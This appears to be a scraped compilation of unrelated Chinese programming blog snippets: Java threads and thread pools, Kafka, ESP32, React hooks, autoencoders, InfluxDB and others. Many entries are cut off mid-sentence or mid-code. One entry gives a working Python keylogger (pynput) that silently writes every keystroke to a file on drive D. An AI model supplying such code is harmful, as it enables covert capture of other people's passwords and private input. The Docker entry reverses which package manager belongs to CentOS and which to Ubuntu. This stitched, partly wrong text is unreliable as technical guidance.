SysFreeString(BSTR) (3)IUnknow及其指针

线程的 run()和 start()有什么区别?

线程状态之间的转换:https://www.cnblogs.com/zhaosq/p/10564698.html 1.start(): 用start方法来启动线程,真正实现了多线程运行,这时无需等待run方法体中的代码执行完毕而直接继续执行后续的代码。通过调用Thread类的 start()方法来启动一个线程,这时此线程处于就绪(可运行)状态,并没有运行,一旦得到cpu时间片,就开始执行run()方法,这里的run()方法称为线程体,它包含了要执行的这个线程的内容,Run方法运行结束,此线程随即终止。 2.run(): run()方法只是类的一个普通方法而已。run方法相当于线程的任务处理逻辑的入口方法,就是线程体,它由java虚拟机在运行相应线程时直接调用,而不是由代码进行调用。 3.总结:排队玩游戏机 多线程原理相当于玩游戏机,只有一个游戏机(CPU),start是排队,等CPU轮到你,你就run。 调用start后,线程会被放入到等待队列中,也就是上面说的就绪状态,等待CPU调用,并不是马上调用。然后通过JVM,线程thread会调用run方法,执行本线程的线程体,先调用start,后调用run。为什么不直接调用run呢?为了实现多线程的优点。 4.线程状态说明 线程状态从大的方面来说,可归结为:初始状态、可运行状态、不可运行状态和消亡状态,具体可细分为上图所示7个状态,说明如下: 1)线程的实现有两种方式,一是继承Thread类,二是实现Runnable接口,但不管怎样,当我们new了Thread实例后,线程就进入了初始状态; 2)当该对象调用了start()方法,就进入可运行状态; 3)进入可运行状态后,当该对象被操作系统选中,获得CPU时间片就会进入运行状态; 4)进入运行状态后涉及的情况就比较多,大致有如下情形: ﹒ run()方法或main()方法结束后,线程就进入终止状态; 当线程调用了自身的sleep()方法或其他线程的join()方法,就会进入阻塞状态(该状态虽停止当前线程,但并不释放所占有的资源)。 当sleep()结束或join()结束后,该线程进入可运行状态,继续等待OS分配时间片; 当线程刚进入可运行状态(注意,还没运行),发现将要调用的资源被锁住(synchroniza,lock),将会立即进入锁池状态,等待获取锁标记(这时的锁池里也许已经有了其他线程在等待获取锁标记,这时它们处于队列状态,既先到先得),一旦线程获得锁标记后,就转入可运行状态,等待OS分配 CPU时间片; 当线程调用wait()方法后会进入等待队列(进入这个状态会释放所占有的所有资源,与阻塞状态不同),进入这个状态后,是不能自动唤醒的,必须依靠其他线程调用notify()或notifyAll()方法才能被唤醒(由于notify()只是唤醒一个线程,但我们由于不能确定具体唤醒的是哪一个线程,也许我们需要唤醒的线程不能够被唤醒,因此在实际使用时,一般都用notifyAll()方法,唤醒有所线程),线程被唤醒后会进入锁池,等待获取锁标记。 当线程调用stop方法,即可使线程进入消亡状态,但是由于stop方法是不安全的,不鼓励使用,大家可以通过run方法里的条件变通实现线程的 stop。 5.sleep()和wait()的区别 sleep()方法正在执行的线程主动让出CPU(然后CPU就可以去执行其他任务),在sleep指定时间后CPU再回到该线程继续往下执行(注意:sleep方法只让出了CPU,而并不会释放同步资源锁!!!);wait()方法则是指当前线程让自己暂时退让出同步资源锁,以便其他正在等待该资源的线程得到该资源进而运行,只有调用了notify()方法,之前调用wait()的线程才会解除wait状态,可以去参与竞争同步资源锁,进而得到执行。(注意:notify的作用相当于叫醒睡着的人,而并不会给他分配任务,就是说notify只是让之前调用wait的线程有权利重新参与线程的调度);sleep()方法可以在任何地方使用;wait()方法则只能在同步方法或同步块中使用;sleep()是线程线程类(Thread)的方法,调用会暂停此线程指定的时间,但监控依然保持,不会释放对象锁,到时间自动恢复;wait()是Object的方法,调用会放弃对象锁,进入等待队列,待调用notify()/notifyAll()唤醒指定的线程或者所有线程,才会进入锁池,不再次获得对象锁才会进入运行状态; 6.notify()和notifyAll()的区别 如果线程调用了对象的 wait()方法,那么线程便会处于该对象的等待池中,等待池中的线程不会去竞争该对象的锁。当有线程调用了对象的 notifyAll()方法(唤醒所有 wait 线程)或 notify()方法(只随机唤醒一个 wait 线程),被唤醒的的线程便会进入该对象的锁池中,锁池中的线程会去竞争该对象锁。也就是说,调用了notify后只要一个线程会由等待池进入锁池,而notifyAll会将该对象等待池内的所有线程移动到锁池中,等待锁竞争优先级高的线程竞争到对象锁的概率大,假若某线程没有竞争到该对象锁,它还会留在锁池中,唯有线程再次调用 wait()方法,它才会重新回到等待池中。而竞争到对象锁的线程则继续往下执行,直到执行完了 synchronized 代码块,它会释放掉该对象锁,这时锁池中的线程会继续竞争该对象锁;

Kafka集群搭建

Zookeeper 简介 ZooKeeper 是一个开源的分布式框架,提供了协调分布式应用的基本服务。它向外部应用 暴露一组通用服务——分布式同步(Distributed Synchronization)、命名服务(Naming Service)、集群维护(Group Maintenance)等,简化分布式应用协调及其管理的难度。 它是 Google 的 Chubby 一个开源的实现。 它本身可以搭建成一个集群,这个 zk 集群用来对应用程序集群进行管理,监视应用程序集群中各个节点的状态,并根据应用程序集群中各个节点提交的反馈信息决定下一步的合理操作。 做分布式锁很有效

python-获取键盘输入内容并存到本地

一个小脚本,可以监控键盘的输入内容,并且存到本地,实现方式比较简单,没多少代码,需要导入pynput,监听键盘按键按下的事件并获取输内容并存到D盘路径下,如果电脑没有D盘导致代码无法运行,可根据自己情况修改下路径。下面是代码: from pynput.keyboard import Key, Controller,Listener import time keyboard = Controller() keys=[] def on_press(key): string = str(key).replace("'","") def on_release(key): global keys string = str(key).replace("'","") keys.append('\r'+string) main_string = "".join(keys) print(main_string) if len(main_string)>15: with open('D:\keyboard-input.txt', 'a') as f: f.write(main_string) keys= [] with Listener(on_press=on_press,on_release=on_release) as listener: listener.join() 将这段代码保存到新建的KeyboardListener.py文件中,在pycharm中选中该文件,鼠标右键,然后点击“ Run KeyboardListener.py ”,即可从Run窗口下看到键盘输入内容,到电脑相应路径,也会看到相应的文件。 或cd到KeyboardListener.py当前目录下,运行 python KeyboardListener.py直接执行脚本。

使用Arduino开发ESP32(18):使用Preferences保存数据

文章目录 目的基础说明使用演示基础读写键值查询键值删除剩余空间获取 支持的数据类型存在的问题总结 目的 对于传统的单片机来说我们如果要固化保存小批量的数据的话通常会使用EEPROM,在Arduino core for the ESP32中也有相关的功能。不过对于ESP32来说官方还提供了一种叫做 Preferences 的功能,这个功能也可以用来固化保存数据,并且使用上比EEPROM更加方便。这篇文章将对此做个使用说明。 基础说明 ESP32官方在Flash上建立了一个叫做nvs的分区,而Preferences功能就是建立在该分区上的。Arduino core for the ESP32中默认分区( Partition Scheme: “Default 4MB with spiffs (1.2MB APP /1.5MB SPIFFS)” )情况下nvs分区的大小为 20480 字节,实际可存放的数据大小要小于这个值( 单个数据来说最大为496K或者97%的nvs分区大小 )。 Preferences中数据以键值对(key - value)的方式存储。在键值对之上还有一层命名空间(namespace),不同命名空间中可以有相同的键名存在。在Preferences中命名空间和键名均为字符串,并且长度不大于15个字节。 使用演示 基础读写 #include <Preferences.h> void setup() { Serial.begin(115200); Serial.println(); delay(2000); Preferences prefs; // 声明Preferences对象 prefs.begin("mynamespace"); // 打开命名空间mynamespace uint32_t count = prefs.getUInt("count", 0); // 获取当前命名空间中的键名为"count"的值 // 如果没有该元素则返回默认值0 count++; // 累加计数 Serial.printf("这是系统第 %u 次启动\n", count); prefs.putUInt("count", count); // 将数据保存到当前命名空间的"

qt 案例 例程 wireshark

qt 案例 例程 wireshark 11 Version 2.6.2 (v2.6.2-0-g1b3cedbc) Copyright 1998-2018 Gerald Combs <gerald@wireshark.org> and contributors. License GPLv2+: GNU GPL version 2 or later <http://www.gnu.org/licenses/old-licenses/gpl-2.0.html> This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled (64-bit) with Qt 5.9.5, with WinPcap (4_1_3), with GLib 2.42.0, with zlib 1.2.11, with SMI 0.4.8, with c-ares 1.14.0, with Lua 5.

docker容器中提示bash: vi: command not found的处理方法

docker容器中使用vi或vim提示bash: vi: command not found的处理方法 原因处理 原因 没有安装vi编译器 处理 使用如下两个命令 apt-get update apt-get install vim apt-get update:第一个命令是更新软件列表 apt-get install vim:第二个是安装vim编辑器 这里使用的是centos操作系统,如果是ubantu操作系统,请将apt-get换成yum即可

「react进阶」一文吃透react-hooks原理

一 前言 之前的两篇文章,分别介绍了react-hooks如何使用,以及自定义hooks设计模式及其实战,本篇文章主要从react-hooks起源,原理,源码角度,开始剖析react-hooks运行机制和内部原理,相信这篇文章过后,对于面试的时候那些hooks问题,也就迎刃而解了。实际react-hooks也并没有那么难以理解,听起来很cool,实际就是函数组件解决没有state,生命周期,逻辑不能复用的一种技术方案。 Hook 是 React 16.8 的新增特性。它可以让你在不编写 class 的情况下使用 state 以及其他的 React 特性。 老规矩,🤔️🤔️🤔️我们带着疑问开始今天的探讨(能回答上几个,自己可以尝试一下,掌握程度): 1 在无状态组件每一次函数上下文执行的时候,react用什么方式记录了hooks的状态?2 多个react-hooks用什么来记录每一个hooks的顺序的 ? 换个问法!为什么不能条件语句中,声明hooks? hooks声明为什么在组件的最顶部?3 function函数组件中的useState,和 class类组件 setState有什么区别?4 react 是怎么捕获到hooks的执行上下文,是在函数组件内部的?5 useEffect,useMemo 中,为什么useRef不需要依赖注入,就能访问到最新的改变值?6 useMemo是怎么对值做缓存的?如何应用它优化性能?7 为什么两次传入useState的值相同,函数组件不更新?… 如果你认真读完这篇文章,这些问题全会迎刃而解。 function组件和class组件本质的区别 在解释react-hooks原理的之前,我们要加深理解一下, 函数组件和类组件到底有什么区别,废话不多说,我们先看 两个代码片段。 class Index extends React.Component<any,any>{ constructor(props){ super(props) this.state={ number:0 } } handerClick=()=>{ for(let i = 0 ;i<5;i++){ setTimeout(()=>{ this.setState({ number:this.state.number+1 }) console.log(this.state.number) },1000) } } render(){ return <div> <button onClick={ this.handerClick } >num++</button> </div> } } 打印结果?

Python练习题一(2021.04.08)

————————Python练习题一——————— 首先不得不说“人生苦短,我用Python” 作为Python的初学者,为了坚持刷题,故以每天写博客的形式砥砺自己,每天(忙的话就两天搞一次 )都会总结 2 - 3道题目。 话不多说,呈上第一天题目: 题目一:在同一行依次输入三个值a,b,c,用空格分开,输出 bb-4a*c的值 输入格式: 在一行中输入三个数。 输出格式: 在一行中输出公式值。 输入样例: 在这里给出一组输入。例如: 3 4 5 输出样例: 在这里给出相应的输出。例如: -44 解题代码: a,b,c = map(int,input().split()) d = b*b - 4*a*c print(d) 注: 入门级别的题目,似乎没有什么可说的。但是在此我想要总结一下Python如何在一行中输入多个数 : 利用map()函数: ①输入str:a,b,c = input().split() ②输入整数:a,b,c = map(int,input().split()) ③输入浮点数:a,b,c = map(float,input().split()) 题目二:输入一个正整数m(20<=m<=100),计算 11+12+13+…+m 的值。 输入格式: 在一行输入一个正整数m。 输出格式: 在一行中按照格式“sum = S”输出对应的和S. 输入样例: 在这里给出一组输入。例如: 90 输出样例: 在这里给出相应的输出。例如: sum = 4040 解题代码: m = int(input()) sum = 0 a = 11 for i in range (m-11+1): sum = sum + a a = a + 1 print("

基于自编码网络AutoEncoder完成数据降维并且提取数据的本质特征

什么是数据的降维? 一维数据我们可以认为它是一个点,二维数据是一条线,三维数据是一个面,但四维数据我们就想象不到了,但这并不意味着不存在。对于深度学习的数据来说,数据的维度往往远远大于四维,四维我们都想象不到,那么远超四维的数据我们就更加难以预料了,为了解决这个问题,我们可以使用机器学习中的数据降维技术,简单的来说就是将高维的数据降低到两维或者三维,也就是人类可以想象到的数据表示形式,这样我们就可以看到这些数据的本质特征了,这样大大降低了计算的复杂程度,减少了冗余信息所造成的识别误差,提高了识别的精度,我们对降维数据进行可视化的操作可以方便我们对这些数据的理解。 但是数据的降维不是随意的,我们要保证一点数据降维之后仍然能够最大程度的表示原有的数据特点,也就是最大程度的保留原有数据的特征,使得数据不损失原始数据的主要特征,那么这个就是数据降维的关键点所在,在深度学习领域常用的数据降维的方式是使用自编码网络AutoEncoder来完成这个任务。 AutoEncoder的原理 如下图所示,自编码网络Autoencoder 简单来说就是将原有高维特征的数据x进行压缩成z,之后再进行解压为x撇的过程,得到的最终结果x撇与原始数据x进行比较,从而对此进行非监督学习。 encode和decode过程 AutoEncoder进行end-to-end的训练,不断提高其准确率,而通过设计encode和decode过程使输入和输出越来越接近,是一种无监督学习过程。它类似于机器学习中的PCA算法,AutoEncoder的主要功能是将数据压缩之后得到的降维的特征值,这一中间结果正类似于PCA的结果,这也正是原始数据的最本质特征。 AutoEncoder的可视化 现在我们已经知道了AutoEncoder关键点在于将原始数据降维,而降维的数据就是原始数据的最本质特征,我们可以使用这个降维的数据来表示原有的高维数据。然后我们还可以应用这个降维的数据进行升维操作,从而恢复到原始数据。 降维和升维 如图所示,就是AutoEncoder的可视化过程,这个过程分为两个部分,encoder和decoder。encoder完成了数据的降维操作,decoder完成数据的升维操作,通过可视化我们可以看到,输出一张图片2的数据,降维之后我们并不知道变成了什么,但是降维之后的数据却可以恢复为原始的数据2,这就是AutoEncoder的可视化过程。 Autoencoder的实现 class AutoEncoder(nn.Module): def __init__(self): super(AutoEncoder, self).__init__() # 降维 self.encoder = nn.Sequential( nn.Linear(28*28, 128), nn.Tanh(), nn.Linear(128, 64), nn.Tanh(), nn.Linear(64, 12), nn.Tanh(), nn.Linear(12, 3), ) # 升维 self.decoder = nn.Sequential( nn.Linear(3, 12), nn.Tanh(), nn.Linear(12, 64), nn.Tanh(), nn.Linear(64, 128), nn.Tanh(), nn.Linear(128, 28*28), nn.Sigmoid(), # 激励函数让输出值在 (0, 1),因为原始数据transform到了(0,1) ) def forward(self, x): encoded = self.encoder(x) decoded = self.decoder(encoded) return encoded, decoded #返回编码结果和解码结果 autoencoder = AutoEncoder() optimizer = torch.

ZYNQ 7系列FPGA的复位方式及其用法

XC7Z100这款FPGA有多个专用管脚PROGRAM_B_0、PS_POR_B和PS_SRST_B,复位管脚定义如下图 Program_B只影响PL,它会初始化PL,PL需要重新加载,如图1所示。Program_B信号由高到底变化时,可以初始化PL,PL初始化时定义INIT_B管脚,初始化完成后,该管脚作为浮高开漏处理。 PS_POR_B是整个芯片最高级reset(Power-on Reset),通俗点来说,就是整个芯片都会复位。PS支持外部上电复位信号。上电复位是整个芯片的主复位。此信号复位设备中能够重置的每个寄存器。当PS_POR_B保持低位时,但所有PS I/O保持在3状态,并且大多数MIO引脚上启用弱拉。每个MIO管脚的上拉由MIO_PIN_xx[PULLUP]位独立控制。位12的复位值可在SLCR寄存器汇总表中读取。 PS_POR_B 引脚保持在低位,直到所有PS电源处于所需电压水平且PS_CLK处于激活状态。它可以作为异步信号,并在内部同步和过滤。该滤波可防止在信号被保持时高信号故障进入PS低。当信号保持在高电平时,不过滤低电平故障,检测到的任何低通故障都会导致设备立即复位。 PS_POR_B信号通常连接到电源的电源power-good信号。当PS_POR_B被反断言时,系统对引导模式引脚进行采样并开始其内部初始化过程。 PS_SRST_B(External System Reset)功能和POR_B类似,主要用于系统软件调试过程,上电复位删除所有调试配置,外部系统复位允许用户复位设备内的所有功能逻辑,而不干扰调试环境。例如,用户先前设置的断点在外部系统重置后仍然有效。当PS_SRST_B保持低位时,所有PS I/O都保持在三态。出于安全考虑,系统重置会删除PS中的所有内存内容,包括OCM,PL也在系统复位中复位,系统复位不会重新采样引导模式分配引脚。如果系统中不使用该管脚,则应将该管脚拉高。 PSS_RST_CTRL[SOFT_RST]系统软复位,作为整个设计的软复位信号,整个系统复位的最终结果,除重新启动状态寄存器值不同外,其他寄存器与用户按下PS_SRST_BB引脚的结果相同,就像其他系统复位一样,所有的ram都被清除,PL也被重置。 看门狗复位:当看门狗定时器被启用并且定时器过期时,看门狗定时器复位由看门狗定时器内部生成。PS中有三种不同的看门狗定时器:两个ARM内核中各有一个系统级定时器(AWDT0和AWDT1)、一个专用定时器(SWDT)。系统级定时器复位信号复位整个系统,而私有看门狗定时器可以只复位其所在的ARM内核,也可以复位整个系统。 调试复位:有两种类型的调试复位源自调试访问端口(DAP)控制器:调试系统复位信号和调试复位信号。调试系统复位是由JTAG控制的ARM-DAP发出的命令。这会导致系统复位,就像外部系统复位一样。Debug reset复位SoC调试块的某些部分,包括JTAG逻辑。PS不支持外部TRST,支持使用TMS断言复位序列。JTAG逻辑仅在上电复位或来自ARM调试访问端口(DAP)控制器(JTAG)的CDBGRSTREQ断言时复位。JTAG-TCK时钟域中的所有逻辑都由该信号复位。

vue启动后控制台输出日志信息

1. 问题描述 在使用 npm run serve 启动vue项目时,控制台输出了许多日志信息 2.发生原因 linux系统的限制导致出现了这个问题,这里需要设置一下参数:fs.inotify.max_user_watches 3.解决办法 第一种解决方式: 编辑sysctl.conf文件,添加如下内容 fs.inotify.max_user_watches=524288 在终端执行 sysctl -p ,或者使用 sudo sysctl --system查询系统配置是否成功 成功后使用npm run serve重启即可 第二种解决方式: 从终端执行以下命令(设置参数,并写到文件中)然后重启即可 echo fs.inotify.max_user_watches=524288 | sudo tee -a /etc/sysctl.conf && sudo sysctl -p 学习注定是一条漫长又艰苦的道路,没有捷径可言,所有人都一样。熬过去,你就赢了!

InfluxDB 入门

1. 简述 时间序列数据:从定义上来说,就是一串按时间维度索引的数据。时序数据库(TSDB)特点: 持续高并发写入、无更新; 数据压缩存储; 低查询延时。常见 TSDB:influxdb、opentsdb、timeScaladb、Druid 等。 1.1 influxdb概念 influxdb是一个开源分布式时序、时间和指标数据库,使用 Go 语言编写,无需外部依赖。其设计目标是实现分布式和水平伸缩扩展,是 InfluxData 的核心产品。应用:性能监控,应用程序指标,物联网传感器数据和实时分析等的后端存储。influxdb 完整的上下游产业还包括:Chronograf、Telegraf、Kapacitor,其具体作用及关系如下: 有些人也会选择 Telegraf (Heapster)+ influxdb + grafana组合。 1.2 与传统数据库相关区别 和传统数据库相比,influxdb在相关概念上有一定不同,具体如下: influxdb 中的概念传统数据库中的概念database数据库measurement数据库中的表point表中的一行数据 point的数据结构由时间戳(time)、标签(tags)、数据(fields)三部分组成,具体含义如下: point 属性含义time数据记录的时间,是主索引(自动生成)tags各种有索引的属性fields各种value值(没有索引的属性) 此外,influxdb还有个特有的概念:series(一般由:retention policy, measurement, tagset就共同组成),其含义如下: 所有在数据库中的数据,都需要通过图表来展示,而这个series表示这个表里面的数据,可以在图表上画成几条线:通过tags排列组合算出来。需要注意的是,influxdb不需要像传统数据库一样创建各种表,其表的创建主要是通过第一次数据插入时自动创建,如下: insert mytest, server=serverA count=1,name=5 //自动创建表 “mytest”,“server” 是 tags,“count”、“name” 是 fieldsfields 中的 value 基本不用于索引 1.3 保留策略(retention policy) 每个数据库刚开始会自动创建一个默认的存储策略 autogen,数据保留时间为永久,在集群中的副本个数为1,之后用户可以自己设置(查看、新建、修改、删除),例如保留最近2小时的数据。插入和查询数据时如果不指定存储策略,则使用默认存储策略,且默认存储策略可以修改。InfluxDB 会定期清除过期的数据。每个数据库可以有多个过期策略: show retention policies on "db_name"Shard 在 influxdb中是一个比较重要的概念,它和 retention policy 相关联。每一个存储策略下会存在许多 shard,每一个 shard 存储一个指定时间段内的数据,并且不重复,例如 7点-8点 的数据落入 shard0 中,8点-9点的数据则落入 shard1 中。每一个 shard 都对应一个底层的 tsm 存储引擎,有独立的 cache、wal、tsm file。

如何制作移动端静态网页

以下来源于--拉钩教育学习内容 开发移动端 兼容移动端主流浏览器,处理Webkit内核浏览器即可移动端调试的方法 Chrome DevTools(谷歌浏览器)的模拟手机调试搭建 本地web服务器,手机和服务器一个局域网内,通过手机访问服务器使用外网服务器,直接IP或域名访问 开发准备 视口(viewport) 就是浏览器显示页面内容的屏幕区域。视口可以分为布局视口、视觉视口和理想视口。 布局视口:一般移动设备的浏览器都默认设置了一个布局视口,用于解决早期的PC端页面在手机上显示的问题(iOS,Abdroid基本都将这个视口分辨率设置为980px,所以PC上的网页大多都能在手机上呈现,只不过元素看上去很小,一般默认可以通过手动缩放网页)视觉视口:用户正在看到的网站的区域(可以通过缩放去操作视觉视口,但不会影响布局视口,布局视口扔保持原来的宽度)理想视口:为了使网站在移动端有最理想的浏览和阅读宽度而设定。(需要手动添加<meta>视口标签通知浏览器操作,目的是:布局视口的宽度应该与理想视口的宽度一致,简单理解就是设备有多宽,我们布局的视口就多宽) //标准的viewport参数设置 <meta name="viewport" content="width=device-width, initial-scale=1.0,user-scalable=no,maximum=1.0,minimum=1.0"> 属性解释说明width宽度设置的是viewport宽度,可以设置device-width特殊值initial-scale初始缩放比,大于0的数字maximum-scale最大缩放比,大于0的数字minimum-scale最小缩放比,大于0的数字user-scalable用户是否可以缩放,yes或no(1或0) 开发选择 移动端主流方案 单独制作移动端页面(主流)响应式页面兼容移动端(其次)京东商城手机版、淘宝触屏版、苏宁易购手机版、携程网手机版…三星手机官网(www.samsung.com/cn/)… 通常情况下,网址域名前面加m(mobile)可以打开移动端。通过判断设备,如果是移动端设备打开,则跳到移动端页面。现在市场主流的选择还是单独制作移动端页面 常见布局 技术选型-------见另一篇 常见布局 单独制作移动端页面响应式页面兼容移动端流式布局(百分比布局)、flex弹性布局(强烈推荐)、less+rem+媒体查询、混合布局媒体查询、bootstrap 开发 以单独制作移动端页面为例: 制作HTML页面 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0,user-scalable=no,maximum=1.0,minimum=1.0"> <title>Demo</title> <link rel="stylesheet" href="css/normalize.css"> <link rel="stylesheet" href="css/index.css"> </head> <body> </body> </html> CSS初始化 初始化清除默认样式的css–normalize.css推荐使用,官网地址http://necolas.github.io/normalize.css/ /*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */ /* Document ========================================================================== */ /** * 1. Correct the line height in all browsers.

明天的日期

明天的日期 题目要求:输入今天的日期,输出明天的日期。 输入格式: 输入3个用“/”隔开的整数,分别表示今天日期的年份、月份、日子。保证日期正确 输出格式: 输出3个用“/”隔开的整数,分别表示明天日期的年份、月份、日子。 输入样例: 2019/2/7 输出样例: 2019/2/8 代码如下: #include <stdio.h> #include <stdlib.h> int main() { int year,month,day; scanf("%d/%d/%d",&year,&month,&day); //12月 if (month == 12) { //如果是12月31日,会变成下一年的1月1日 if (day == 31) { year+=1; month = 1; day = 1; } //如果不是31日,那就加一天 else day+=1; } //除12月之外有31天的月份1,3,5,7,8,10 else if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month ==10) { //如果是在31日,则变成下一个月的1日 if (day==31) { month+=1; day = 1; } //如果不是31日,则加一天 else day+=1; } //有30天的月份 else if (month == 4 || month == 6 || month == 9 || month == 11) { //如果是在30日,则变成下一个月的1日 if (day == 30) { month+=1; day = 1; } //如果不是在30日,则加一天 else day+=1; } //2月 else if (month == 2) { //如果是闰年 //整百年能被400整除 if (year%100!

C++replace的基本用法

C++replace的基本用法 功能描述: * 将容器内指定范围的旧元素修改为新元素 函数原型: replace(iterator beg, iterator end, oldvalue, newvalue); //将区间内旧元素替换为新元素 //beg开始迭代器 //end结束迭代器 //oldvalue旧元素 //newvalue新元素 代码示例: #include<iostream> #include<vector> #include<algorithm> using namespace std; class myPrint { public: void operator()(int val) { cout << val << " "; } }; void test01() { vector<int>v; v.push_back(20); v.push_back(30); v.push_back(50); v.push_back(30); v.push_back(40); v.push_back(20); v.push_back(10); v.push_back(20); cout << "替换前" << endl; for_each(v.begin(), v.end(), myPrint()); cout << endl; //将20替换2000 replace(v.begin(), v.end(), 20, 2000); cout << "

EasyConnect Mac版本下载地址

http://download.sangfor.com.cn/download/product/sslvpn/pkg/mac_ec_sp/EasyConnect.dmg 转自:https://blog.csdn.net/weixin_35757704/article/details/113093730

USART HMI串口屏 显示中文

项目场景: USART HMI串口屏 (淘晶驰 基本型2.2寸的(TJC3224T022)串口屏)的开发; 问题描述: 如何在串口屏上显示中文? 原因分析: 想要显示中文,需要在GUI设计上位机USART HMI上设计好界面,中文的显示需要制作字体库;注意:字体编码方式选择需要和设备编码方式选择一致; 解决方案: 完成!!!

Java计算字符串表达式ScriptEngine

因项目中要用到公式的计算,前端传进来是个字符串,怎么把它拆分判断呢? 我们可以用 javax.script.ScriptEngine 具体代码如下: public static void main(String[] args) { String s ="1000000 > 90*10000 && 100000 < 50*10000"; String v ="90*10000"; ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript"); try { System.out.println(engine.eval(s)); //true System.out.println(engine.eval(v)); //900000 } catch (ScriptException e) { e.printStackTrace(); } }

Java线程池及调优

1. Java的线程池 ① 合理使用线程池的好处 Java的线程池是运用场景最多的并发框架,几乎所有需要异步或者并发执行任务的程序都可以使用线程池。 合理使用线程池能带来的好处: 降低资源消耗。 通过重复利用已经创建的线程降低线程创建的和销毁造成的消耗。例如,工作线程Woker会无线循环获取阻塞队列中的任务来执行。 提高响应速度。 当任务到达时,任务可以不需要等到线程创建就能立即执行。 提高线程的可管理性。 线程是稀缺资源,Java的线程池可以对线程资源进行统一分配、调优和监控。 ② 线程池的工作流程 一个新的任务到线程池时,线程池的处理流程如下: 线程池判断核心线程池里的线程是否都在执行任务。如果不是,创建一个新的工作线程来执行任务。如果核心线程池里的线程都在执行任务,则进入下个流程。 线程池判断阻塞队列是否已满。如果阻塞队列没有满,则将新提交的任务存储在阻塞队列中。如果阻塞队列已满,则进入下个流程。 线程池判断线程池里的线程是否都处于工作状态。如果没有,则创建一个新的工作线程来执行任务。如果已满,则交给饱和策略来处理这个任务。 线程池的核心实现类是ThreadPoolExecutor类,用来执行提交的任务。因此,任务提交到线程池时,具体的处理流程是由ThreadPoolExecutor类的execute()方法去完成的。 如果当前运行的线程少于corePoolSize,则创建新的工作线程来执行任务(执行这一步骤需要获取全局锁)。 如果当前运行的线程大于或等于corePoolSize,而且BlockingQueue未满,则将任务加入到BlockingQueue中。 如果BlockingQueue已满,而且当前运行的线程小于maximumPoolSize,则创建新的工作线程来执行任务(执行这一步骤需要获取全局锁)。 如果当前运行的线程大于或等于maximumPoolSize,任务将被拒绝,并调用RejectExecutionHandler.rejectExecution()方法。即调用饱和策略对任务进行处理。 工作线程(Worker) 线程池在创建线程时,会将线程封装成工作线程Woker。Woker在执行完任务后,不是立即销毁而是循环获取阻塞队列里的任务来执行。 ③ 线程池的创建(7个参数) 可以通过ThreadPoolExecutor来创建一个线程池: new ThreadPoolExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, RejectedExecutionHandler handler) corePoolSize(线程池的基本大小): 提交一个任务到线程池时,线程池会创建一个新的线程来执行任务。注意:即使有空闲的基本线程能执行该任务,也会创建新的线程。 如果线程池中的线程数已经大于或等于corePoolSize,则不会创建新的线程。 如果调用了线程池的prestartAllCoreThreads()方法,线程池会提前创建并启动所有基本线程。 maximumPoolSize(线程池的最大数量):线程池允许创建的最大线程数。 阻塞队列已满,线程数小于maximumPoolSize便可以创建新的线程执行任务。 如果使用无界的阻塞队列,该参数没有什么效果。 workQueue(工作队列):用于保存等待执行的任务的阻塞队列。 ArrayBlockingQueue:基于数组结构的有界阻塞队列,按FIFO(先进先出)原则对任务进行排序。使用该队列,线程池中能创建的最大线程数为maximumPoolSize。 LinkedBlockingQueue:基于链表结构的无界阻塞队列,按FIFO(先进先出)原则对任务进行排序,吞吐量高于ArrayBlockingQueue。使用该队列,线程池中能创建的最大线程数为corePoolSize。静态工厂方法 Executor.newFixedThreadPool()使用了这个队列。 SynchronousQueue:一个不存储元素的阻塞队列。添加任务的操作必须等到另一个线程的移除操作,否则添加操作一直处于阻塞状态。静态工厂方法 Executor.newCachedThreadPool()使用了这个队列。 PriorityBlokingQueue:一个支持优先级的无界阻塞队列。使用该队列,线程池中能创建的最大线程数为corePoolSize。 keepAliveTime(线程活动保持时间):线程池的工作线程空闲后,保持存活的时间。如果任务多而且任务的执行时间比较短,可以调大keepAliveTime,提高线程的利用率。 unit(线程活动保持时间的单位):可选单位有DAYS、HOURS、MINUTES、毫秒、微秒、纳秒。 handler(饱和策略,或者又称拒绝策略):当队列和线程池都满了,即线程池饱和了,必须采取一种策略处理提交的新任务。 AbortPolicy:无法处理新任务时,直接抛出异常,这是默认策略。 CallerRunsPolicy:用调用者所在的线程来执行任务。 DiscardOldestPolicy:丢弃阻塞队列中最靠前的一个任务,并执行当前任务。 DiscardPolicy:直接丢弃任务。 threadFactory:构建线程的工厂类 总结: 1.常用的5个,核心池、最大池、空闲时间、时间的单位、阻塞队列;另外两个:拒绝策略、线程工厂类 2.常见线程池的创建参数如下。PS: CachedThreadPool核心池为0,最大池为Integer.MAX_VALUE,相当于只使用了最大池;其他线程池,核心池与最大池一样大,因此相当于只用了核心池。 FixedThredPool: new ThreadExcutor(n, n, 0L, ms, new LinkedBlockingQueue<Runable>() SingleThreadExecutor: new ThreadExcutor(1, 1, 0L, ms, new LinkedBlockingQueue<Runable>()) CachedTheadPool: new ThreadExcutor(0, max_valuem, 60L, s, new SynchronousQueue<Runnable>()); ScheduledThreadPoolExcutor: ScheduledThreadPool, SingleThreadScheduledExecutor.

双指针详解

